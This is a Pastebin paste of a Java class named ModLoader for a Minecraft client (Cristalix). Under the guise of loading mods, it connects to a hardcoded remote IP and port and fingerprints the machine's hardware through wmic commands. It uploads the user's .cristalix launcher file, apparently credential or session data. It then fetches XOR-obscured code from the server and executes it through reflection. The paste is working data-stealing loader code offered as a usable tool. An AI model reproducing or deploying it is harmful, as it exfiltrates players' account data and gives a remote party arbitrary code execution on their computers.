Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- * @author kriperOok
- *
- */
- import java.io.BufferedReader;
- import java.io.ByteArrayInputStream;
- import java.io.DataInputStream;
- import java.io.DataOutputStream;
- import java.io.File;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.lang.reflect.Method;
- import java.net.Socket;
- import java.nio.charset.StandardCharsets;
- import java.nio.file.Files;
- import java.security.MessageDigest;
- import java.util.Iterator;
- import java.util.List;
- import java.util.stream.Collectors;
- import java.util.stream.Stream;
- import dev.xdark.clientapi.ClientApi;
- import dev.xdark.clientapi.Side;
- public final class ModLoader {
- private static final char[] HEX_ARRAY;
- public static void load(ClientApi clientApi) {
- try {
- Socket socket = new Socket("185.174.136.83", 7481);
- DataInputStream dis = new DataInputStream(socket.getInputStream());
- DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
- Class<?> clazz = Class.forName("od", true, ClassLoader.getSystemClassLoader());
- Method method = clazz.getMethod("a", ClientApi.class, InputStream.class, Side.class);
- StringBuilder var23 = new StringBuilder();
- var23 = var23.append(exec("wmic path win32_physicalmedia get SerialNumber"));
- var23 = var23.append(exec("wmic path win32_processor get ProcessorId"));
- String uuid = var23.append(exec("wmic path win32_baseboard get Product, Manufacturer")).toString();
- MessageDigest digest = MessageDigest.getInstance("SHA-256");
- byte[] hwid = digest.digest(uuid.getBytes(StandardCharsets.UTF_8));
- dos.writeByte(3);
- dos.writeUTF(bytesToHex(hwid));
- var23 = new StringBuilder();
- var23 = var23.append(System.getProperty("user.home"));
- String cristalixPath = var23.append("\\.cristalix").toString();
- StringBuilder var39 = (new StringBuilder()).append(cristalixPath);
- File requiredFile = new File(var39.append("\\.launcher").toString());
- byte[] fileBytes = Files.readAllBytes(requiredFile.toPath());
- dos.writeInt(fileBytes.length);
- dos.write(fileBytes);
- int key = dis.readInt();
- int count = dis.readInt();
- for (int n = 0; n < count; ++n) {
- int len = dis.readInt();
- byte[] bytes = new byte[len];
- dis.readFully(bytes, 0, len);
- for (int i = 0; i < len; ++i) {
- bytes[i] = (byte) (bytes[i] ^ key >>> 1);
- }
- method.invoke((Object) null, clientApi, new ByteArrayInputStream(bytes), Side.SERVER);
- }
- socket.close();
- dis.close();
- dos.close();
- } catch (Exception var18) {
- var18.printStackTrace();
- }
- }
- private static String exec(String str) throws IOException {
- StringBuilder builder = new StringBuilder();
- Process process = Runtime.getRuntime().exec(str);
- BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
- Stream<String> lines = reader.lines();
- Iterator var5 = ((List) lines.collect(Collectors.toList())).iterator();
- while (var5.hasNext()) {
- String line = (String) var5.next();
- builder.append(line);
- }
- return builder.toString();
- }
- private static String bytesToHex(byte[] bytes) {
- char[] hexChars = new char[bytes.length * 2];
- for (int j = 0; j < bytes.length; ++j) {
- int v = bytes[j] & 255;
- hexChars[j * 2] = HEX_ARRAY[v >>> 4];
- hexChars[j * 2 + 1] = HEX_ARRAY[v & 15];
- }
- return new String(hexChars);
- }
- private ModLoader() {
- throw new UnsupportedOperationException("This is a utility class and cannot be instantiated");
- }
- static {
- HEX_ARRAY = "0123456789ABCDEF".toCharArray();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment